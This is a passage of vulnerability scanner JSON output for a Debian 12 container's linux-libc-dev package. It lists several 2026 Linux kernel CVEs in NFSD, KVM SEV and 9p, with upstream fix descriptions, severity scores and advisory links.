"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/e6c2e6c2e1fa066968a16aca1cb66cd1bdde7741%20%287.1-rc3%29", "https://git.kernel.org/stable/c/40df11255d71b02e20e70579f1b12b687e396e26", "https://git.kernel.org/stable/c/791941be5da125d9a1b228582bfdc300c05d05b3", "https://git.kernel.org/stable/c/8ae8b9e74bab94aab1d79f1688129bcc61c8b29a", "https://git.kernel.org/stable/c/91fbb5e635c8fb1b49e15c19da06480089ef719f", "https://git.kernel.org/stable/c/b17175d0a375b3ed5e81597dac4983fdb46e478d", "https://git.kernel.org/stable/c/e6c2e6c2e1fa066968a16aca1cb66cd1bdde7741", "https://linux.oracle.com/cve/CVE-2026-53374.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026071946-CVE-2026-53374-a981@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53374", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53374" ], "PublishedDate": "2026-07-19T11:16:38.5Z", "LastModifiedDate": "2026-10-19T20:19:16.93Z" }, { "VulnerabilityID": "CVE-2026-53398", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.177-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53398", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:4f8d658b67aa7177a502e54062c1a11228b44c33e4630264a2791d54274450d4", "Title": "kernel: NFSD: Fix SECINFO_NO_NAME decode error cleanup", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nNFSD: Fix SECINFO_NO_NAME decode error cleanup\n\nnfsd4_decode_secinfo_no_name() currently initializes sin_exp after\ndecoding sin_style. If the XDR stream is truncated, the decoder returns\nnfserr_bad_xdr before sin_exp is initialized.\n\nSince commit 3fdc54646234 (\"NFSD: Reduce amount of struct\nnfsd4_compoundargs that needs clearing\"), the inline iops array is not\ncleared between RPC calls. A failed SECINFO_NO_NAME decode can therefore\nleave sin_exp holding stale union contents from a previous operation.\n\nThe error response path still invokes nfsd4_secinfo_no_name_release(),\nwhich calls exp_put() on a non-NULL sin_exp.\n\nInitialize sin_exp before the first failable decode step, matching\nnfsd4_decode_secinfo().", "Severity": "HIGH", "CweIDs": [ "CWE-665" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:77689", "https://access.redhat.com/security/cve/CVE-2026-53398", "https://bugzilla.redhat.com/2436771", "https://bugzilla.redhat.com/2497032", "https://bugzilla.redhat.com/2499742", "https://bugzilla.redhat.com/2502222", "https://bugzilla.redhat.com/2502411", "https://bugzilla.redhat.com/2502476", "https://bugzilla.redhat.com/2502521", "https://bugzilla.redhat.com/2502593", "https://bugzilla.redhat.com/2516705", "https://bugzilla.redhat.com/2524431", "https://bugzilla.redhat.com/2532103", "https://bugzilla.redhat.com/2532111", "https://bugzilla.redhat.com/2532218", "https://bugzilla.redhat.com/2532231", "https://bugzilla.redhat.com/show_bug.cgi?id=2436771", "https://bugzilla.redhat.com/show_bug.cgi?id=2497032", "https://bugzilla.redhat.com/show_bug.cgi?id=2499742", "https://bugzilla.redhat.com/show_bug.cgi?id=2502222", "https://bugzilla.redhat.com/show_bug.cgi?id=2502411", "https://bugzilla.redhat.com/show_bug.cgi?id=2502476", "https://bugzilla.redhat.com/show_bug.cgi?id=2502521", "https://bugzilla.redhat.com/show_bug.cgi?id=2502593", "https://bugzilla.redhat.com/show_bug.cgi?id=2516705", "https://bugzilla.redhat.com/show_bug.cgi?id=2524431", "https://bugzilla.redhat.com/show_bug.cgi?id=2532103", "https://bugzilla.redhat.com/show_bug.cgi?id=2532111", "https://bugzilla.redhat.com/show_bug.cgi?id=2532218", "https://bugzilla.redhat.com/show_bug.cgi?id=2532231", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23103", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53360", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53365", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53398", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64035", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64115", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64162", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72317", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74744", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89530", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89663", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89669", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89690", "https://errata.almalinux.org/9/ALSA-2026-77689.html", "https://errata.rockylinux.org/RLSA-2026:77689", "https://git.kernel.org/linus/9e18e83b8846a5c3fe13fc8a464b4865d33996c6%20%287.2-rc1%29", "https://git.kernel.org/stable/c/161d1aaeb04d620d3692639700512bb5038c1e10", "https://git.kernel.org/stable/c/1e04be34cafae119e82bcaccd6d28a20f72a3647", "https://git.kernel.org/stable/c/46eb17d45be69d28c7a23ea03283b207426a8232", "https://git.kernel.org/stable/c/49de5d31dd8fdebf78bdeaf196b0ca5cd5c75439", "https://git.kernel.org/stable/c/5ec37edcb534f3fc92304be236d37f08e6545585", "https://git.kernel.org/stable/c/8836405abdc53ca3dd5fc68b2cf6f8f012fad011", "https://git.kernel.org/stable/c/9e18e83b8846a5c3fe13fc8a464b4865d33996c6", "https://git.kernel.org/stable/c/c8a24effd96d4779e2ad779654682304491c55a5", "https://linux.oracle.com/cve/CVE-2026-53398.html", "https://linux.oracle.com/errata/ELSA-2026-77690.html", "https://lore.kernel.org/linux-cve-announce/2026071957-CVE-2026-53398-56e9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53398", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8818-1", "https://ubuntu.com/security/notices/USN-8818-2", "https://ubuntu.com/security/notices/USN-8818-3", "https://ubuntu.com/security/notices/USN-8818-4", "https://ubuntu.com/security/notices/USN-8818-5", "https://ubuntu.com/security/notices/USN-8818-6", "https://ubuntu.com/security/notices/USN-8849-1", "https://ubuntu.com/security/notices/USN-8871-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://www.cve.org/CVERecord?id=CVE-2026-53398" ], "PublishedDate": "2026-07-19T12:16:50.933Z", "LastModifiedDate": "2026-10-19T20:19:18.507Z" }, { "VulnerabilityID": "CVE-2026-53399", "VendorIDs": [ "DLA-4720-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.180-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53399", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:749d7b528c09bba2a9e5136605500e90a55c3a5dde78519ab4460220c427b8d5", "Title": "kernel: nfsd: release layout stid on setlease failure", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: release layout stid on setlease failure\n\nnfs4_alloc_stid() publishes the new stid into cl-\u003ecl_stateids via\nidr_alloc_cyclic() under cl_lock before returning to\nnfsd4_alloc_layout_stateid(). When nfsd4_layout_setlease() then\nfails, the error path frees the layout stateid directly with\nkmem_cache_free() without ever calling idr_remove(), leaving the\nIDR slot pointing at freed slab memory. Any subsequent IDR walker\n(states_show, client teardown) dereferences the dangling pointer.\n\nThe correct teardown for an IDR-published stid is nfs4_put_stid(),\nwhich removes the IDR slot under cl_lock, dispatches sc_free\n(nfsd4_free_layout_stateid) to release ls-\u003els_file via\nnfsd4_close_layout(), and drops the nfs4_file reference in its\ntail.\n\nA second issue blocks that switch: nfsd4_free_layout_stateid()\nunconditionally inspects ls-\u003els_fence_work via\ndelayed_work_pending() under ls_lock, but\nINIT_DELAYED_WORK(\u0026ls-\u003els_fence_work, ...) currently runs only\nafter the setlease call. On the setlease-failure path the\ndestructor would touch an uninitialized delayed_work.\n\n nfsd4_alloc_layout_stateid()\n nfs4_alloc_stid() /* idr_alloc_cyclic under cl_lock */\n nfsd4_layout_setlease() /* fails */\n nfs4_put_stid()\n nfsd4_free_layout_stateid()\n delayed_work_pending(\u0026ls-\u003els_fence_work) /* needs INIT */\n nfsd4_close_layout() /* nfsd_file_put(ls-\u003els_file) */\n put_nfs4_file()\n\nFix by hoisting the ls_fenced / ls_fence_delay / INIT_DELAYED_WORK\ninitialization above the nfsd4_layout_setlease() call, and replace\nthe manual nfsd_file_put + put_nfs4_file + kmem_cache_free cleanup\nwith a single nfs4_put_stid(stp).", "Severity": "HIGH", "CweIDs": [ "CWE-476", "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63129", "https://access.redhat.com/security/cve/CVE-2026-53399", "https://bugzilla.redhat.com/2406747", "https://bugzilla.redhat.com/2432366", "https://bugzilla.redhat.com/2482006", "https://bugzilla.redhat.com/2482558", "https://bugzilla.redhat.com/2492447", "https://bugzilla.redhat.com/2502219", "https://bugzilla.redhat.com/2502227", "https://bugzilla.redhat.com/2502235", "https://bugzilla.redhat.com/2502239", "https://bugzilla.redhat.com/2502240", "https://bugzilla.redhat.com/2502248", "https://bugzilla.redhat.com/2502260", "https://bugzilla.redhat.com/2502329", "https://bugzilla.redhat.com/2502363", "https://bugzilla.redhat.com/2502421", "https://bugzilla.redhat.com/2502447", "https://bugzilla.redhat.com/2507046", "https://bugzilla.redhat.com/2507089", "https://bugzilla.redhat.com/2507118", "https://bugzilla.redhat.com/2507119", "https://bugzilla.redhat.com/2507208", "https://bugzilla.redhat.com/2507277", "https://bugzilla.redhat.com/2508363", "https://bugzilla.redhat.com/2513167", "https://bugzilla.redhat.com/2513392", "https://bugzilla.redhat.com/2516248", "https://bugzilla.redhat.com/2516448", "https://bugzilla.redhat.com/show_bug.cgi?id=2406747", "https://bugzilla.redhat.com/show_bug.cgi?id=2432366", "https://bugzilla.redhat.com/show_bug.cgi?id=2482006", "https://bugzilla.redhat.com/show_bug.cgi?id=2482558", "https://bugzilla.redhat.com/show_bug.cgi?id=2492447", "https://bugzilla.redhat.com/show_bug.cgi?id=2502219", "https://bugzilla.redhat.com/show_bug.cgi?id=2502227", "https://bugzilla.redhat.com/show_bug.cgi?id=2502235", "https://bugzilla.redhat.com/show_bug.cgi?id=2502239", "https://bugzilla.redhat.com/show_bug.cgi?id=2502240", "https://bugzilla.redhat.com/show_bug.cgi?id=2502248", "https://bugzilla.redhat.com/show_bug.cgi?id=2502260", "https://bugzilla.redhat.com/show_bug.cgi?id=2502329", "https://bugzilla.redhat.com/show_bug.cgi?id=2502363", "https://bugzilla.redhat.com/show_bug.cgi?id=2502421", "https://bugzilla.redhat.com/show_bug.cgi?id=2502447", "https://bugzilla.redhat.com/show_bug.cgi?id=2507046", "https://bugzilla.redhat.com/show_bug.cgi?id=2507089", "https://bugzilla.redhat.com/show_bug.cgi?id=2507118", "https://bugzilla.redhat.com/show_bug.cgi?id=2507119", "https://bugzilla.redhat.com/show_bug.cgi?id=2507208", "https://bugzilla.redhat.com/show_bug.cgi?id=2507277", "https://bugzilla.redhat.com/show_bug.cgi?id=2508363", "https://bugzilla.redhat.com/show_bug.cgi?id=2513167", "https://bugzilla.redhat.com/show_bug.cgi?id=2513392", "https://bugzilla.redhat.com/show_bug.cgi?id=2516248", "https://bugzilla.redhat.com/show_bug.cgi?id=2516448", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40064", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71147", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45970", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46185", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53073", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53391", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53392", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53397", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53399", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63800", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63808", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63887", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64002", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64018", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64268", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64298", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64304", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64387", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64438", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64490", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68145", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68166", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68480", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72069", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72130", "https://errata.almalinux.org/9/ALSA-2026-63129.html", "https://errata.rockylinux.org/RLSA-2026:63129", "https://git.kernel.org/linus/30d55c8aabb261bc3f427d6b9aae7ef6206063f9%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2e0a5d6d62600b8c614d1b55e50ef94035d6adf9", "https://git.kernel.org/stable/c/30d55c8aabb261bc3f427d6b9aae7ef6206063f9", "https://git.kernel.org/stable/c/48a586e382e4db1dbf958d44b63e081df5f8ed04", "https://git.kernel.org/stable/c/7bbb7ce74051c8be4b69ff44ce3db370600dae61", "https://git.kernel.org/stable/c/83c2b7797742339bb768f83935f7ca33950db138", "https://git.kernel.org/stable/c/8dee7c278f1c2b5bb80e17a6281c3812fc8b0cdd", "https://git.kernel.org/stable/c/d369e5edfaaf83a448016e2f1da392b2174be801", "https://git.kernel.org/stable/c/d788ef40a7517d22c97ab01700e4ae4c611b6f2f", "https://linux.oracle.com/cve/CVE-2026-53399.html", "https://linux.oracle.com/errata/ELSA-2026-63129-0.html", "https://lore.kernel.org/linux-cve-announce/2026071958-CVE-2026-53399-c8aa@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53399", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53399" ], "PublishedDate": "2026-07-19T12:16:51.063Z", "LastModifiedDate": "2026-10-19T20:19:18.683Z" }, { "VulnerabilityID": "CVE-2026-63794", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.177-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63794", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dd97176f3f843e83f75a3fdf0bd6353f0df3505469d1287e3e06e8827c0fdc2a", "Title": "kernel: KVM: SVM: Fix page overflow in sev_dbg_crypt() for ENCRYPT path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SVM: Fix page overflow in sev_dbg_crypt() for ENCRYPT path\n\nIn sev_dbg_crypt(), the per-iteration transfer length is bounded by\nthe source page offset (PAGE_SIZE - s_off) but not by the destination\npage offset (PAGE_SIZE - d_off). When d_off \u003e s_off, the encrypt\npath (__sev_dbg_encrypt_user) performs a read-modify-write using a\nsingle-page intermediate buffer (dst_tpage):\n\n 1. __sev_dbg_decrypt() expands the size to round_up(len + (d_off \u0026 15), 16)\n before issuing the PSP command. If len + (d_off \u0026 15) \u003e PAGE_SIZE,\n the PSP writes beyond the end of the 4096-byte dst_tpage allocation.\n\n 2. The subsequent memcpy()/copy_from_user() into\n page_address(dst_tpage) + (d_off \u0026 15) of 'len' bytes overflows\n by up to 15 bytes under the same condition.\n\nTrigger example: s_off = 0, d_off = 1, debug.len = PAGE_SIZE -\nthe PSP is instructed to write round_up(4097, 16) = 4112 bytes to\na 4096-byte buffer.\n\nFix by also bounding len by (PAGE_SIZE - d_off), the same check that\nsev_send_update_data() already performs for its single-page guest\nregion.\n\n ==================================================================\n BUG: KASAN: slab-use-after-free in sev_dbg_crypt+0x993/0xd10 [kvm_amd]\n Write of size 4095 at addr ff110062293bb009 by task sev_dbg_test/228214\n\n CPU: 96 UID: 0 PID: 228214 Comm: sev_dbg_test Tainted: G U W 7.0.0-smp--5ce9b0c48211-dbg #156 PREEMPTLAZY\n Tainted: [U]=USER, [W]=WARN\n Hardware name: Google Astoria/astoria, BIOS 0.20250817.1-0 08/25/2025\n Call Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x54/0x70\n print_report+0xbc/0x260\n kasan_report+0xa2/0xd0\n kasan_check_range+0x25f/0x2c0\n __asan_memcpy+0x40/0x70\n sev_dbg_crypt+0x993/0xd10 [kvm_amd]\n sev_mem_enc_ioctl+0x33c/0x450 [kvm_amd]\n kvm_vm_ioctl+0x65d/0x6d0 [kvm]\n __se_sys_ioctl+0xb2/0x100\n do_syscall_64+0xe8/0x870\n entry_SYSCALL_64_after_hwframe+0x4b/0x53\n \u003c/TASK\u003e\n\n The buggy address belongs to the physical page:\n page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x7fe72b6a0 pfn:0x62293bb\n memcg:ff11000112827d82\n flags: 0x1400000000000000(node=1|zone=1)\n raw: 1400000000000000 0000000000000000 dead000000000122 0000000000000000\n raw: 00000007fe72b6a0 0000000000000000 00000001ffffffff ff11000112827d82\n page dumped because: kasan: bad access detected\n\n Memory state around the buggy address:\n ff110062293bbf00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n ff110062293bbf80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n \u003eff110062293bc000: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc\n ^\n ff110062293bc080: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc\n ff110062293bc100: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc\n ==================================================================\n Disabling lock debugging due to kernel taint\n\n[sean: add sample KASAN splat, Fixes, and stable@]", "Severity": "HIGH", "CweIDs": [ "CWE-787" ], "VendorSeverity": { "alma": 2, "azure": 3, "nvd": 3, "oracle-oval": 3, "photon": 3, "redhat": 2, "rocky": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:74438", "https://access.redhat.com/security/cve/CVE-2026-63794", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2528550", "https://bugzilla.redhat.com/show_bug.cgi?id=2482129", "https://bugzilla.redhat.com/show_bug.cgi?id=2502241", "https://bugzilla.redhat.com/show_bug.cgi?id=2528550", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45856", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63794", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80775", "https://errata.almalinux.org/9/ALSA-2026-74438.html", "https://errata.rockylinux.org/RLSA-2026:74438", "https://git.kernel.org/linus/78ee2d50185a037b3d2452a97f3dad69c3f7f389%20%287.2-rc1%29", "https://git.kernel.org/stable/c/2753a097d1fe24c4351c608048612c74108aa89f", "https://git.kernel.org/stable/c/64f2449841ffc7d203183aa4c748c9c77951ecc5", "https://git.kernel.org/stable/c/720949ed666f34ff28ffdfe1471a5861d1e41fdf", "https://git.kernel.org/stable/c/78ee2d50185a037b3d2452a97f3dad69c3f7f389", "https://git.kernel.org/stable/c/889c2a9c59897ca912bf39df5bb92555a0a13df4", "https://git.kernel.org/stable/c/9349b50f4b11f135fe73b56cb2c2c872d8bc71d7", "https://git.kernel.org/stable/c/e1a0fe288dee07b7da25a71e007c1ecd1080315b", "https://git.kernel.org/stable/c/f701ae476cb92a3a3d8844bb39bb63b4512684c8", "https://linux.oracle.com/cve/CVE-2026-63794.html", "https://linux.oracle.com/errata/ELSA-2026-76738.html", "https://lore.kernel.org/linux-cve-announce/2026071959-CVE-2026-63794-b463@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-63794", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8917-1", "https://ubuntu.com/security/notices/USN-8918-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-63794" ], "PublishedDate": "2026-07-19T12:16:51.757Z", "LastModifiedDate": "2026-11-06T17:18:34.21Z" }, { "VulnerabilityID": "CVE-2026-63795", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.177-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-63795", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ace2ae3535746a447f2afee4d5d8a973e68c947bf73fb36f7145dbfb89ec9b99", "Title": "kernel: 9p: avoid putting oldfid in p9_client_walk() error path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\n9p: avoid putting oldfid in p9_client_walk() error path\n\nWhen p9_client_walk() is called with clone set to false, fid aliases\noldfid. If the walk subsequently fails after the request has been sent,\nthe error path jumps to clunk_fid, which currently calls p9_fid_put(fid)\nunconditionally.\n\nThis drops a reference to oldfid even though ownership of oldfid remains\nwith the caller. If this is the last reference, oldfid can be clunked and\ndestroyed while the caller still expects it to be valid. A later use or\nput of oldfid can then trigger a use-after-free or refcount underflow.\n\nFix this by only putting fid in the clunk_fid error path when it does not\nalias oldfid, matching the existing guard in the error path below.\n\nThis can be triggered when a multi-component walk is split into multiple\np9_client_walk() calls and a later non-cloning walk fails. A reproducer\nand refcount warning logs are available on request.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "azure": 2, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-63795", "https://git.kernel.org/linus/1a3860d46e3eb47dbd60339783cdad7904486b9f%20%287.2-rc1%29", "https://git.kernel.org/stable/c/1a3860d46e3eb47dbd60339783cdad7904486b9f", "https://git.kernel.org/stable/c/6dbe9443d9f5f7fb6d319a7b77108853ae6c6bea", 